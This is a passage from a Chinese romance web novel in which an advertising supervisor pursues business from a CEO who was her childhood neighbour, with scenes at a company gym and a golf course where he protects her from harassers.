向殊意想说自己和他解说了“这幅画表达作者怀才不遇的悲恸之情”,便听见她笑嘻嘻地说:“刚祁总走之前说,要买下画展全部的画!”
向殊意一怔。
赵吟还在喜气洋洋地和她形容,祁勉是怎样大手一挥说全要了,又是怎样直截了当留下助理商讨后续事宜。
“你是真有两把刷子啊,广告广告拿得下,连解说也能卖出这么多画。”
眼看赵吟已经开始把她吹成神了,向殊意哈哈两声:“实不相瞒,他是我尚未拿下的甲方。”
赵吟只花了一秒就接受了这个事实:“天哪,求上天赐我一个这样大方的甲方吧!”
向殊意:“不要忽视我用的定语好吗。”
“没事啊,”赵吟已经是人逢喜事精神爽了,完全神志不清,“你这么漂亮有魅力,拿下他当男朋友还不是分分钟的事。”
向殊意差点让自己口水给呛死:“……赵吟你给我醒醒!”
赵吟这才正色,双手捧上她的肩膀,一脸正经地说:“殊意,俗话说得好,烈男怕缠女。你一个做乙方的,就死命缠着他就行了。你相信我,他早晚会松口的。”
“这又是哪来的自创俗语?”向殊意被她逗乐,却实实在在地把这建议听了进去。
缠着他……
或许还真的会有用。
向殊意坐在回家的车上,悠悠想起了从前。
准确说来,她和祁勉,好像确实算不上正儿八经的青梅竹马。
他们不是那种从出生开始就住在门对门的关系,向殊意隐约记得,在她上三年级后的某个下午放学,外婆替她放下书包,牵着她说带她见见新邻居。
小向殊意很内向,却还是鼓起勇气,在外婆的鼓励下伸手
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敲开新邻居的家门。
开门的是个比她高小半个头的男生,顶着一头茶棕色的卷毛,看见外面站着的奶奶,让开身子请她们进去。
向殊意从小就有点不喜欢祁勉,理由非常简单。
她觉得祁勉当面一套,背后一套。
在家人面前,就装成好学生的样子讨他们高兴。
在她面前,就肆无忌惮总嘲笑她个子矮,买了雪糕举高了不给她,虽然最后总是会给她两根弥补。
好像买了两根雪糕回来,就是为了在她面前犯个小贱,再全部拿来道歉。
向殊意不太懂。
她只觉得,面对这个只比自己大了几个月的讨厌男生,大人凭什么要她叫他哥哥。
时间长了,小殊意摸索出来最管用的一招——
求他帮忙时,缠着他寸步不离。
最后他多半会因为觉得她烦,答应下来一切事情。
帮忙抄寒假作业、帮忙做值日、帮忙模仿大人笔迹在考差了的试卷上签名,虽然从来没有成功过。
小殊意因为伪造签名,被严厉的爸妈赶到门外罚站,闻着四处传来的饭菜香,委屈得直抹眼泪时。
祁勉像个没事人,单手撑着她家高高的水泥围栏,身手敏捷地跳进来,鬼鬼祟祟从外套口袋里摸出还热着的饭团,往她捧着眼泪的双手里塞。
“快吃,我帮你放风。”
祁勉说完,真的半蹲在她脚边望向四周。
见她泪眼朦胧,懵懵地看着他,祁勉又没忍住站起来催:“哎呀没加肉松,街口白大姐的摊!你快吃啊,对不起,别哭了。”
小殊意破涕为笑,一口咬下去,口齿不清地问他说话怎么像个三明治,对不起还要夹在中间。
祁勉不理她,耳朵却有些红了。
……
向殊意从来不觉得自己是个念旧的人。可真当她回忆起这些泛黄的时光来,她总也放不下不知不觉翘起的唇角。
如果人能不长大就好啦。
如果,世界上所有的事,都能简单到像一根直线就好了。
那他们可以沿着一直走下去,不用,在十八岁那天分道扬镳。
向殊意叹了口气。
往事是不可追的。
赵吟给她发了张图片,是交易最终成交的记录。
她说:【殊意,你一定替我好好谢谢甲方大大,太感谢他了】
【本来很担心这笔款项凑齐要花很长时间,幸好,明天就可以联系护蕾基金会了,再过几天钱就能去进山区了,真好。】
向殊意心里暖洋洋的,回了句“一定”。
她在聊天页面漫无目的地划了半天,才想起来,她和祁勉都多长时间没发过消息了。
向殊意翻到好友栏,戳了下首字母“Q”,从头翻到尾,竟然没找到。
她心里有点空,努力回想一番,并没有找到删除好友这段记忆。
她当初,应该没有绝情到删除好友吧?
向殊意直起身来,将联系人页面从头翻到尾,指尖顿在某个好友备注上。
“烦人”。
除了祁勉,向殊意想不到还有什么人能让她烦到要在好友备注上写明的。
她乐得不行。点进去,编辑了一段转达感谢的话,又任由它们在空白聊天框里躺了几分钟,才两眼一闭,发了出去。
心头负担放下,向殊意还没来得及轻松,便看见弹出去的绿泡泡旁边,赫然蹦出一个红色感叹号。
【对方开启了朋友认证,你还不是他(她)朋友。】
向殊意对着那个鲜红的感叹号至少盯了十秒钟。
她冷笑出声,用力摁灭了手机屏幕。
5. 成狗了吗
一觉醒来,又是工作日。
向殊意迷蒙着眼睛,从床头柜摸过手机,下意识先浏览未处理的工作消息。
一众红点将各种工作群聊顶上来,向殊意一个一个点进去看完,指尖悬在那个与众不同的头像上方,昨天的回忆全部涌入脑海。
向殊意再度冷笑一声,连带着刚刚醒来的惺忪都消失了些,撑着床边起床上班。
广告部所有人都发现向主管今天心情不咋地。
要么是周一病,要么是最近广告工作不顺利。
大家理所当然地偏向于后者。
孙之颖小心翼翼敲开主管办公室的门,对向殊意说:“向姐,这是前几天我们拉到的小广告,做的是公司健身房建设,都谈得差不多了可以实地考察了。”
向殊意正愁没有工作来填满自己这颗莫名其妙在生气很烦躁的大脑,闻言赶紧伸手接过,草草看了眼便说:“约车,我们俩现在就去。”
孙之颖再次惊叹于向殊意的雷厉风行,默默埋下更深一层的敬佩,鼓足气用力应了声:“好!”
早上醒得太早,向殊意一坐上车就开始犯困,合上眼睛短暂休息。
再睁眼时,车子正好慢悠悠停下来。
向殊意精神头足了不少,深呼吸几轮,转头问孙之颖:“快到了?”
“对!”
向殊意点点头,往车水马龙的窗外看去。
“启元集团”四个金灿灿的大字将阳光反射出去,投进她眼睛里。
向殊意心里有种不太妙的预感,一掌拍上皮质座位,目光炯炯地望向孙之颖:“咱们这是到哪儿考察?”
孙之颖挠挠脸:“启元集团啊……”
向殊意往后猛地一靠。靠背太软,她后背甚至随之弹了几下,差点给她早饭颠出来。
见向殊意突然伸出手掌按住胸口,孙之颖吓了一跳:“怎么了向姐,你身体不舒服吗?”
“没事啊,”向殊意缓缓抬头,朝她扬起个笑容,“我没事。”
删好友的又不是她。
她心虚个什么劲。
一定是昨天和祁勉在一起待久了,导致她不幸沾染上了他的蠢气。
按照十几年的经验,把犯蠢的错误推到祁勉身上以后,向殊意果然觉得舒服多了。
不就一个公司内部健身房?
祁勉这种级别的总裁,总不至于和员工一起抢占健身房吧?
向殊意想着,底气更加足了几分,同孙之颖一起走进电梯。
健身房承包商是个二三十岁的男人,老早就在外面等着她们来。
向殊意一秒切换工作模式,笑着和他握手,跟在他身后走进健身房。
门一推开,健身器械嘈杂的声音迎面涌过来。孙之颖在她身后轻轻“哇哦”了一声。
承包商不太好意思地说:“抱歉啊向主管,有点吵。”
孙之颖小声补了句“还臭”,遭了向殊意一记眼刀。
向殊意扬起笑:“没事的,习惯了还好。”
“那边有个小隔间,咱们进去慢慢聊?”
“好。”
向殊意抬起头随意环视一圈,转身跟在他身后走进去。
“祁总好。”
“嗯。”
跑步机上,男人按下停止键,脚步也逐渐慢下,拎起肩膀上搭着的毛巾,在大汗淋漓的额头和脸上随意抹了一把。
祁勉从跑步机上走下来,伸手拿起一旁放着的换洗衣物,又握着黑色保温杯,仰头喝水。
他脖颈线条修长,汗水密布在冷白的颈部皮肤上,突出了几根青筋。喉结随着喝水的动作上下滚动。
祁勉放下水杯,抬手抹了下水光潋滟的唇,无意间往前台瞥了眼,看见了一头熟悉的大波浪卷发。
他拧杯盖的手顿了下,往外走了几步,微眯起眼。
那个有些眼熟的背影,已经消失在小隔间门后。
祁勉收回视线,自嘲自己真是疯了。
她怎么可能出现在启元的员工健身房里。
祁勉摇摇头,拎着衣服,往反方向的淋浴间走去。
“好的,那么合作愉快了,林总。”
“合作愉快,向主管不愧为主管,思维缜密,考虑也全面!”
“您过誉了。”
向殊意起身同他握手,唇边带笑。林总先她一步替她打开门,她朝他点头致谢,才抬脚走出去。
走到前台前,向殊意再次环视一圈四周环境,又随意看了眼健身器材,都还算不错。
向殊意立在前台边说:“我刚刚大致看了眼,器材维护情况都挺不错的。承包公司能做到这个份上,难怪你们能发财了呢。”
林总被夸得心花怒放,连连招手:“没有没有,主要还是集团这边也给了支持。再加上祁总他也经常来,我们也……不敢不重视嘛是不是。”
向殊意心里一动,无意识重复:“祁总他……经常来?”
“对!这也算是祁总的隐形监督。你说我们这场馆要是不搞好维修,指不定哪天祁总就来了……”
林总是个很爱絮絮叨叨的年轻人,一说起来就没完没了。
向殊意一边听,一边忍不住想。
祁勉这总裁做的,和在她面前那副酷哥的样子还真不一样。
还挺亲民。
眼看林总在面前就快要叽里咕噜说个没完,向殊意赶紧适时打断,捧着手机往前递:“林总,要不我们先加个联系方式。合同签订之后开始做广告,有什么细节上需要的随时沟通。”
林总连声应好,从口袋里摸出手机操作。
向殊意耐心等着,突然听见身后的孙之颖倒抽了一口凉气。
一阵清新的柠檬海盐香气随之扑来,很霸道地混杂了她身边的一切气味,给她苦臭汗味久矣的鼻腔带来一丝清新。
向殊意心有所感,抬起头,和身后男人的视线撞了个正着。
祁勉刚刚淋浴过,满身都是沐浴露的香气。身上的白衬衫不好好穿着,领口下方一连解开三四粒扣子,胸肌线条在其中若隐若现。
他发丝还湿着,一滴水滴顺着发梢往下,砸到向殊意耳朵上方,顺着耳后溜进后颈衣服里。
她心里猛地一颤,耳朵开始发烫,飞速躲开视线往前走了一步,离他远了
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些。
林总注意到祁勉,“哎呦”一声,差点跳起来:“祁总!您什么时候来的,失敬失敬!”
向殊意不自在地伸手捂住一边耳朵,试图拽几根鬓角散落的发丝遮住那点明显的红。
祁勉一脸玩味地看了她一会儿,才向前一步,几乎半个身子笼罩住了她。
向殊意呼吸窒住,听见他胸腔震动。他抬手将手中吹风机递给前台台面:“这个坏了。”
距离太近,她甚至感觉自己幻听了他心脏有力的跳动声。
林总已经快崩溃了:“祁总,平常我们维修都挺好的,没想到今天偏偏就吹风机坏了,这……”
可祁勉往向殊意还举着的手机二维码上瞟了一眼,才将视线移向一脸苦相的林总。
许久,突然笑了声,语气幽幽:“跟我解释什么,这种细节不应该你们俩聊?”
他朝她手中的二维码杨扬眉毛,笑眯眯地看林总:“加啊,别让向主管等急了。”
林总视线在向殊意和祁勉身上来回走,最后还是壮着胆子扫码。
“滴”的一声。
向殊意心里头埋着一股子气,加完好友后,转头深深看了祁勉一眼,看得他感到莫名其妙。
林总加完好友就赶紧掉头离开,前台只剩下祁勉和向殊意两个人。
“我惹你了?”
“不敢不敢,”向殊意微笑,“祁总,我看您现在正好有空,要不然我们谈谈广告的事?我这里带了资料,随时可以聊。”
祁勉抬头往那个小隔间方向瞟了眼,故意说:“这不好吧,今天是你们谈生意的主场,我还是不凑热闹了。改日再聊。”
前台接待取了个新吹风机过来递给他,祁勉接过,转身就走。
向殊意确信他嘴里的改日就是改周改月改年,改一辈子。她想起昨天赵吟说的“缠着”的建议,眼看他就要走远了,心里一急,往前跨了一大步,想都没想便拽住了他的手臂。
祁勉手臂上的衬衫袖子被他往上折了几折,露出一截肌肉线条明显的小臂。
向殊意和他肌肤相触的瞬间,感觉手掌下他的手臂肌肉瞬间绷紧了。
她心里怀着某种奇怪的感觉抬头看他,却见他扬起一边眉毛,脸上表情看上去游刃有余:“你确定……要在这里拉拉扯扯?”
向殊意回过神来,环视一圈。
确实……好多人。
如果让启元的员工看见他们的总裁竟然被一个陌生女人在健身房拉扯……
向殊意不敢往下细想,浑身打了个激灵,赶紧松开他的手臂,垂下头。
也就,没注意到祁勉抬手碰耳垂的小动作。
向殊意正在疯狂组织语言,便听见祁勉有些沙的声音从头顶传来:
“下周六下午,博恒高尔夫球场。”
没头没尾的一句话。
向殊意还没反应过来这话的用意,再抬头时,祁勉已经走了。
博恒高尔夫球场?
向殊意站在原地看他宽肩窄腰的高大背影,略一琢磨他的话,缓缓扬起唇角。
言外之意。
他等她来。
6. 成狗了吗
向殊意对自己认知很明确,是个十足的运动废物。
为了不让画展那天的解说尴尬场面重演,向殊意紧急报了个班,极限一周学打高尔夫球。
工作日上班忙得脱不开身,每天除了要修改方案、各种开会、饭局,下班后还要拖着残废的身躯打高尔夫。
向殊意身体很疲惫,可业绩像吊在面前的萝卜,她一咬牙,雷打不动地拎着运动服挤地铁去室内球馆。
她斥巨资在场馆请了个私教,叫程闵,是个年轻的肌肉男大学生。
向殊意的想法非常简单:
打球运动已经很累了,没必要找个严厉老大叔讨骂,还不如找个帅点的脾气好点的,看着也赏心悦目些。
向殊意换上藕粉色的紧身运动服,滑滑的布料贴在皮肤上,勾勒出流畅曼妙的身体线条。
程闵紧紧抿着唇,几乎是僵着身子拖过来:“姐,那咱们直接开始?”
向殊意点点头,叼了根橡皮筋把长发拢在一起,随手扎了个高马尾:“开始吧。”
程闵小心翼翼给她指导动作,向殊意认真得不知天地为何物,专注地拎着球杆一次次推杆。
她学东西进步很快,想认真学会什么就能很快掌握。
程闵在一旁惊呆:“姐,你以前有基础么?”
向殊意闻言转头,揉了揉酸痛的肩膀,脸颊因为运动而白里透红,笑起来明艳而美:“就当你在夸我了。”
程闵一下子成了煮熟的虾子,结巴了:“我我我我就是在夸你,姐。”
向殊意挑挑眉,转身回去继续练球。
程闵鼓起勇气问:“姐,高尔夫很少有人专门学,你学这个,是有什么特别的目的吗?”
向殊意盯着那颗小白球稳稳滚进洞里,轻声欢呼,才双手叉腰看他:“为了工作。”
她感觉自己快透支了,干脆地把球杆放好,走过去拿衣服:“今天先到这儿吧,有点累。”
程闵连连点头,嘴唇翕动,想说什么又咽回去。
向殊意披上外套,推开门下楼梯时,突然听见身后一声急切的呼唤:“向姐!”
程闵跟了上来。
他急促地呼吸,胸前肌肉随之上下起伏。程闵把手机递向她,结结巴巴说:“姐,我们能……能加个联系方式么?”
向殊意眯起眼睛。
她还以为他一直以来轻声细语、畏畏缩缩只是因为年纪轻,社恐。
没想到是这个心思?
程闵不死心似的,此地无银八百两地补充:“毕竟你是消费者,有什么高尔夫上不会的,也方便随时问。我、我会一直在线的!”
向殊意开始后悔一开始选私教时选了他了。
她摇摇头:“如果你是以教练的身份加我,我不太需要。明天是我最后一节课,以后也不会学了。如果你是以其他身份……”
她顿了顿,觉得这情况有点搞笑,还是要说清楚:“我不喜欢年下,抱歉了。”
向殊意自认为自己说得已经很清楚,转身准备下楼梯,再一次被他喊住:“殊意!”
她当然注意到了称呼上的转变,没觉得亲密,只觉得冒犯和烦躁。
程闵还在争取:“你是喜欢成熟的吗,还是说只是喜欢比你大的?我……”
“我们很熟吗,我有义务告诉你我的择偶标准?”向殊意眉头皱得很紧,脸上一点笑意都没了,“反正喜欢的不是你。”
她对这种没边界感的人没有任何容忍度可言,果断往下走,想起什么又转头:“我改主意了。”
程闵眼睛一亮。
“我决定今天这节课是我的最后一节,”她说,“你教的一般,好在我也不需要专业学。回去我会联系球馆商量退费的事。”
向殊意头也不回地离开。
回去的路上,她直接跟球馆负责人发信息说明她少上一节课,问能不能退费,得到否定答复。
她的钱啊!
肉痛。
周六下午,向殊意准时坐车前往博恒高尔夫球场。
坐在前往目的地的车上,向殊意默默回忆前些天学的技巧,摩拳擦掌准备大显身手。
球场宽广无垠,放眼望去一片绿色,对眼睛非常友好。
向殊意早就预料到这里阳光刺眼,特意戴了副墨镜。进去的流程顺利得出奇,向殊意被人恭恭敬敬地一路带到果岭边的树下。
她已经换上了运动装,这会儿双手抱臂,墨镜拎在手指尖,眯起眼睛看人。
没见着人啊。
不会是耍她呢吧?
向殊意完全忘记了自己为什么不用报卡号就能一路畅通进场这件事,满脑子只有自己被祁狗欺骗了的怀疑。
她鞋尖在草地上一点一点,耐心地把在场所有和祁勉身材类似的男人都看了个遍。
阳光刺眼得很,向殊意站在树荫下都觉得有点睁不开眼。
看了一圈,她才伸出根手指轻揉眼睛,余光中瞥见身后探过来一小片黑影。
这人果然是个狗。
幼稚。
在这儿等着想吓人么?
向殊意嗤笑一声,手还在搭在眼睛上,飞快转过身,语气嘲讽:“还想吓人?你真是……”
没说完的话生生断在嘴边。
好像不对。
向殊意放下手,眯着眼睛,语气骤冷:“程……闵?”
“姐……殊意,你还记得我?”程闵手上捏了顶白色小帽,满脸惊喜。
从并不熟悉、昨天刚拒绝过的异性嘴里听到这样略显亲密的称呼,向殊意浑身鸡皮疙瘩都起来了:“你能好好喊名字吗?”
程闵拍了下嘴:“抱歉。”
向殊意感觉自己和他好像没什么话能聊,刚准备找借口离开,却无意间看见他身后远远站着的男人。
难得见他脱了西装衬衫,换了身休闲装,却遮盖不住周身拽拽的气势。
祁勉拎了张帕子在擦拭手指,面无表情,甚至有些阴恻恻地望向她的方向。
程闵叭叭的声音成了模糊的背景音,向殊意没在意。
她的所有注意力,都被程闵背后那个表情不太美妙的男人给夺去了。
“姐,你今天来这里也是为了工作?”
“嗯?嗯。”向殊意难得抬起眼睛看他一眼。
程闵没想到自己能得到回应,觉得大获全胜了,又开始兴奋地结巴:“姐,前几天教你的那些,正好今天有机会,你可以打打看,我帮你纠正动作。”
向殊意努力保持礼貌,直视他眼睛。却总也忍
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不住想往他身后瞟。
她随口敷衍:“改天吧,今天有工作。”
程闵抿抿唇,有点不悦:“你每次都说工作工作,你有什么工作需要待在这种场合?”
“这种场合?”向殊意蹙眉反问,“这什么场合?”
程闵也拉下脸:“这里除了各种啤酒肚老总就没别的人了,你说你来这里工作,你让我怎么相信?”
向殊意不可置信地往后退了一步:“你谁啊,我说话为什么要让你相信?你知道你现在在造黄谣吗?”
向殊意紧急调用一切理智因子控制住自己即将举起并和他的脸亲密接触的手掌,劝说自己忍一下。
冷静,向殊意。
扇这种人,对自己的美甲也太残忍了些。
她低头看了眼美甲,又抬头看程闵,两眼一闭。
在职场上夹着尾巴做人忍气吞声就算了,都被造黄谣还给人留什么面子!
向殊意右手抬了一半,便猛地看见程闵身后突然出现的男人。
程闵刚要说些什么,肩膀上搭上来一只手。
这手制住了他肩膀,稍一用力,便使得他整个人往后趔趄了一步。
程闵勉强稳住身形,一句“你谁啊”快要脱口而出,抬头看清了男人的脸后,硬生生憋回肚子里。
“祁总。”程闵立刻低眉顺眼。
向殊意眨眨眼睛,默默把手收回来优雅地捋了下额角一缕长发。
程闵已经算比较高的了,可在祁勉面前,竟还是矮了一截。
祁勉面无表情的时候和平常判若两人,看起来脾气很差,一身上位者不可触碰的威压。
“球童,上果岭?”
他缓缓启唇,一手环着另一只手的手腕,随意扭了扭,连眼神都不屑于分给他一角,声音重重砸下:
“规矩呢。”
程闵被震慑住,下意识低头,把手上攥紧了的白帽往身后藏了藏。
祁勉不必再多费口舌说第二句,很快就有位经理打扮的男人小跑过来,一面放低了声音责备:“你怎么搞的!这种低级错误也犯?”一面朝祁勉点头哈腰:“不好意思祁总,这个是前几天才来兼职的新人,若有冒犯,还望您宽宏大量,多多海涵啊。”
经理早就知道今天这尊大佛要来,哪敢怠慢半分。他刚要赶紧把程闵赶走,便听见大佛转身发话了:“等等。”
他侧过身,朝一旁站着不言不语的女人扬扬下巴,眼睛却盯着程闵,声音轻飘飘的:“给她道歉。”
向殊意本来在捧着手臂观戏中,没想到还有自己的事儿。
不用不用的,如果没有你我的巴掌现在应该已经甩到他脸上了。
向殊意抬起脸准备朝祁勉笑笑,却撞进他沉得吓人的神色中。
……行。
装腔作势见人说人话见鬼说鬼话,她向殊意可谓是炉火纯青了。
她迅速做好表情管理,微抬下颌,面无表情地看程闵。
程闵低声下气地说:“……我刚出言不逊,抱歉。”
祁勉闻言一顿,拧起眉:“你跟她说什么了?”
“……”
向殊意缓缓转过头看他。
敢情……
连人家说了什么都不知道,就让他道歉?
7. 成狗了吗
解决了程闵,果岭树荫下只剩下祁勉和向殊意两个人。
向殊意对祁勉为自己出气这件事儿还是挺感激的。
她真诚地弯起唇,上前准备跟他道谢。可祁勉竟然只冷冷瞥了她一眼,转身接过球童递上来的球杆,往那颗小白球走去。
真心扬起的微笑扑了个空,向殊意怔在原地。
这是怎么个事儿?
她赶紧加快几步跟上他,忍不住追问:“你那眼神是什么意思,我惹你啦?”
祁勉一言不发,盯着远方的小洞在望路线。
向殊意知道瞄准的时候人不能被打扰,识趣地闭嘴,往旁边退了一步,注意力也放在他这一球上。
祁勉微微弓身,轻抿唇角,低头,将目光锁定面前的球,然后果断抬手,挥杆。
球杆被甩过头顶,手臂顺势抬起,肩背和手臂的肌肉线条随着抬手动作暴露无遗。
他目送那颗球稳稳进洞,然后直起身,淡定地把目光放在向殊意身上。
向殊意根本没看他。直到那颗球消失在小洞内,她没忍住轻声欢呼,惊喜地转头看他。
向殊意的长卷发被束成马尾,身上穿着紧身防晒外套,白色短裙堪堪截到膝盖上方一点点。
她的脸因为阳光晒得有些红扑扑的,眼睛里闪着亮,整个人活泼又靓丽:“可以啊你,这么准呢?”
祁勉回过神来,喉结轻滚,抬手把球杆抛到她手中。
向殊意双手捧住,嘴角已经忍不住翘起来了,心里开始雀跃,像学生时期被老师点起来上台写正好会的数学题的那种雀跃。
她还在矜持:“这……我不太会呢。”
祁勉听着这完全不属于她风格的语气词,浑身发麻,脸上却云淡风轻:“那我更要好好嘲笑一下了。”
正中下怀!
向殊意转过身站稳,嘴角高居不下,胜券在握地望向远方的球洞。
苦练一周,只为此刻!
她眼神变得无比坚定,深呼吸,然后低头看球。
对准,挥杆!
“啪”的一声响,小白球呈一条长长的弧线飞出去,最后稳稳掉进洞里。
向殊意得意得快蹦起来了,转头朝他炫耀,马尾随着转头动作甩到脸颊侧,贴上她亮晶晶的镜面唇釉。
向殊意把球杆递给球童,双手叉腰,像个女王一样学他抬下巴:“怎么样?都说了……”
她猛地止住话头,想起自己在演呢,声音瞬间低了几个度:“……都说了我不太会了。”
头是低下来了,眼睛里的得意洋洋却挡不住地往外冒。
她状似无意地瞄了他一眼,见他正好整以暇地盯着她看。
向殊意突然觉得有点热。
祁勉声音含笑:“这么厉害?谁教你的?”
向殊意想都没想:“程闵啊。”
然后她看见祁勉刚刚还扬起的唇角一瞬间掉了下去。
祁勉又不说话了。
任凭向殊意怎么激他,他都紧闭着嘴唇不做声。
嘁。
不说就不说。
看谁撑得过谁。
向殊意伸手去球童手里拿杆,球童却怯生生看着她不敢松手。
向殊意若有所感地转头,果然看见祁勉凉凉地看着她。
幼稚。
不用就不用。
她冷笑一声,温声麻烦球童另拿了根球杆。
祁勉不依不饶,在她正在对准球的关键时机突然开口,声线紧绷:“你别忘了是谁打了招呼让你进来。”
向殊意被他突然出声吓了一跳,手上一抖,小白球已经飞到姥姥家去了。
不少同样在打球的人往她这边张望,像在嘲笑。
向殊意气急败坏转身算账:“都怪你!”
祁勉嗤笑:“分明是你球艺不精。”
想到什么,他毫不留情地嘲讽:“让一兼职的球童教你高尔夫?长没长脑子。”
向殊意回怼:“我真金白银请的私教,我怎么没长脑子?”
祁勉捕捉到关键词:“私、教?”
向殊意已经怼上头了:“是啊,私教。你这高尔夫难道是出生就会?你没请过教练教?”
说完她又一顿。
别的总裁她不知道,祁勉还真不一定需要自己请人教。
他从小家庭幸福美满,经济条件向来很优越。向殊意从前和他做邻居的时候,不常见到他父母。
但她常常母亲和父亲吵架时会说:“那你怎么不像老祁那样会赚钱?”
向父便会气得砸东西:“你要是像人家魏薇一样优雅又贤惠,我自然会努力赚钱养家!”
“你什么意思?我和你女儿不配你赚钱养家是吧?!”
肖琳这是多半会转头寻找向殊意,然后气冲冲地伸手拽着她衣服把她往向父身上攘,嘴里还嚷嚷着:“过不下去就离!你带着你女儿找她去!”
……
向殊意从小就隐约知道,祁勉的爸爸是个很有钱的老板,妈妈是个从事艺术的很优雅的女人。
这样的家庭,对待唯一的儿子,一定会安排专人教学各种“上流社会”需要的技能吧?
祁勉从小到大,要什么没有?
哪像她,连一节高尔夫球课的钱都要心疼。
向殊意再次暗叹祁勉的幸福人生时,祁勉却突然哑火了。
他表情又变得有些不悦,沉默会儿才开口,声音沉沉,不太确信地问:“他教你的时候……没碰你吧?”
向殊意蓄势待发的快嘴也瞬间变钝,半天才偏开脸,梗着脖子说:“你把我当什么包子了?我怎么可能让他碰我?”
祁勉不信任地看她:“确认没有?”
“没有。”
祁勉见她不像嘴硬撒谎,才上前夺走她手中的球杆,自顾自瞄起球来,又低声说:
“你不是包子谁是?”
向殊意不知道自己哪里给了他这样的错觉,自然要和他据理力争一番。
可祁勉猛地抬起手臂,挥杆,用了极重的力气。
小球连着球托一起飞了出去,“咻”的一声,掀起一片细碎的泥土和草屑。
向殊意被这突然的动静惊到,缓过神来,将视线挪到他凌厉的侧脸线条上。
祁勉缓缓直起身,从口袋里摸出手帕,环着球杆把手转圈擦拭。
许久,才偏头看她,说:“也就工作时张牙舞爪。”
向殊意心中狠狠颤了一下,眼神慌乱从他脸上挪开。
可祁勉反倒成了没事人了,把擦干净了的球杆递给她,“玩儿吧。”
他和她擦肩而过,带走一阵微风,拂起向殊意脸侧的发丝。
她接过推杆,把杆子竖在身前,无意识地转了几下。
祁勉戏谑的声音立刻从身后响起:“不想打就把杆放好,也别钻洞啊。”
向殊意回过神,低头看去。
杆下的草皮果然被她戳秃了一小块,露出土地。
向殊意抿起唇,转头瞪了他一眼。
她不再想那些飘渺的往事,侧过身,低头看脚下的球。
向殊意专心致志打出去一个球,没中。再打一个,又没中。
她一点沮丧的心思都没有。反正她又不是专业的,打给祁勉看的第一球中了就已经够她装了。<
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p>她又推了几个,才猛然想起来自己所行的目的。
她是来谈生意的!
怎么莫名其妙就开始PK球技、斗嘴了?
向殊意清晰地感觉到,自己在祁勉面前总是像丢了脑子,一个不小心就被他带进坑里,忘记自己目的。
向殊意抬起手臂推了个出去,还是没中。
她从口袋里摸出纸巾擦汗,心里想。
祁勉这一套丝滑小连招,不会就是为了转移她的注意力吧?
先是在程闵面前装了把bking,然后又在她面前秀了下高超球技,顺便引发一下她对他完美家庭的回忆与羡慕,最后再嘲讽一番她连私教都不会选。
看吧,我的高尔夫都是家人安排专人教的。
你还得自己找私教,没什么礼貌不说,教得还不咋地,十个球只能进一个!
垃圾。
向殊意脑补了一下祁勉的扑克脸和嘲讽语气,气得没忍住再抬手推了一个球。
……还是没中。
向殊意叹了口气,转头往身后看,没见到祁勉的身影。
球童赶紧上前一步说:“夫人,祁总去吩咐人拿酒水了,让您在这里再打一会儿。”
向殊意如遭雷劈:“什么夫人!我不是……”
“嗨,美女~”
她还没来得及纠正球童的雷霆称呼,便听见身后有人喊她。
她回头,看见一个大腹便便的地中海。
地中海满脸横肉,笑得很油腻:“美女,你一个人打球?”
向殊意用脚指头想都知道他想搭讪,她礼貌笑笑:“不好意思,有人陪。”
地中海捧着肚子环视一圈,又笑:“无中生友吧美女?真有朋友陪着,也不至于连打那么多个都不中?”
靠。
要说点别的倒也无所谓,反正她经历得多了,对什么样的油腻都免疫。
但向殊意绝不允许他嘲讽自己球技。
她捧着手臂,脸上立刻恢复冰山表情,故意将他从上至下打量了一番。
她还没发力呢,地中海反而先破防了,伸手指着她吹胡子瞪眼:“你什么意思?这什么眼神?!”
向殊意退后一步,声线平和地定论:“白磷型人格。”
地中海愣了几秒才意识到她在骂人。他暴跳如雷:“你个臭娘们!”
向殊意勾起唇角,云淡风轻:“娘们这词攻击力为零呢。”
地中海高昂的声音吸引了一圈周围的人,纷纷凑上来看热闹。
他气急败坏地望向周围,然后聚焦在地上那颗小白球上。
地中海气急攻心,跑到小球旁边,竟然抬手朝着她的方向推杆!
小球速度极快地顺着他的动作朝她的脸飞过来,向殊意反应迅速地往旁边躲,却知道这回难逃被命中的命运。
球飞向自己的瞬间,向殊意脑子里只有一个想法:
这种死不要脸的臭男人。
球技竟然也比她准!
可意料之内的疼痛感并没有传来。她身后突然贴上一具高大的身形。
紧接着肩膀被稍用力握住,铺天盖地的木质香气覆盖上来。
身边的风声瞬间变小了,然后“嘭”的一声,小球落地,咕噜噜滚到她脚边。
她脑子一片空白,惊诧地转过头,才发现自己脑袋正被一只宽大的手掌挡住。
向殊意整个人以一种笼罩的姿势,被突然出现的男人护在怀里。
祁勉的脸,就在距离她侧脸不到几厘米的距离。
周围一片抽气声音。祁勉极力遏制浑身戾气,偏头,哑声问:
“砸到没有?”
8. 成狗了吗
向殊意明明没有被球砸,可反而疑心自己确实被砸过了。
不然怎么会,思维突然停转?
祁勉的手掌放下来,顺着她头顶的发丝轻拍,声音更加放轻了点,疑问句变成肯定句:“吓着了。”
向殊意活了二十五年,还没听过他这样的声音。
明明脸上表情冷硬得像要捶人,声音却像脱了骨,柔软得她浑身发麻。
她向来伶牙俐齿,面对这种情况,也发不出一点儿声音。
祁勉更加确信她被吓到了。他深吸几口气,压下满腔怒火,不容置喙地对远处的球童吩咐:“把她带去楼上。”
球童也被吓懵了,闻言赶紧上前一步,扶上向殊意手臂。
向殊意被带去二楼酒水区安顿。
祁勉背对着地中海,眼睛里最后一点挤出来的柔和也消失殆尽。
他转身,眉目低压,直直看向不远处双手紧抓推杆的男人,目光汇聚成一把冰刀。
地中海后知后觉惹到不该惹的人了,双腿软了:“祁祁祁祁祁总……我我我不知道她是你……”
“规则第一条,”祁勉脸上是风雨欲来的狠戾,却竟眯起眼,扬起一边嘴角,“背来听听?”
地中海声音抖成筛子:“打击或挥杆练习时……应应应确定没有人站在……”
祁勉一步一步走到他面前,居高临下地看他,随后从上衣口袋里摸出帕子,隔着拿过地中海手里握着的推杆。
地中海赶紧松开手。
他慢条斯理地擦拭球杆把手,声音却带着不容置喙的威压:“继续。”
地中海紧紧闭上眼,欲哭无泪地断断续续往下。
祁勉转身,拎着杆子走到那颗散落的球旁边,将杆面对准了球,侧身朝着地中海的方向在球后前后晃了几下。
地中海立刻终止了背书:“祁总!我以后再也不这样了……我……啊!”
他话音未落,双手立刻捂住裆部,脸色涨红地原地瘫下。
小白球精准砸到目的地,滴溜溜掉在他脚边,滚到远处去了。
祁勉收回因为挥杆而抬起的手臂,又一抬手,把杆子抛到他身前的草地上,像是多碰一秒都嫌脏。
苦命经理又来晚一步,哭丧着脸:“祁总,我……”
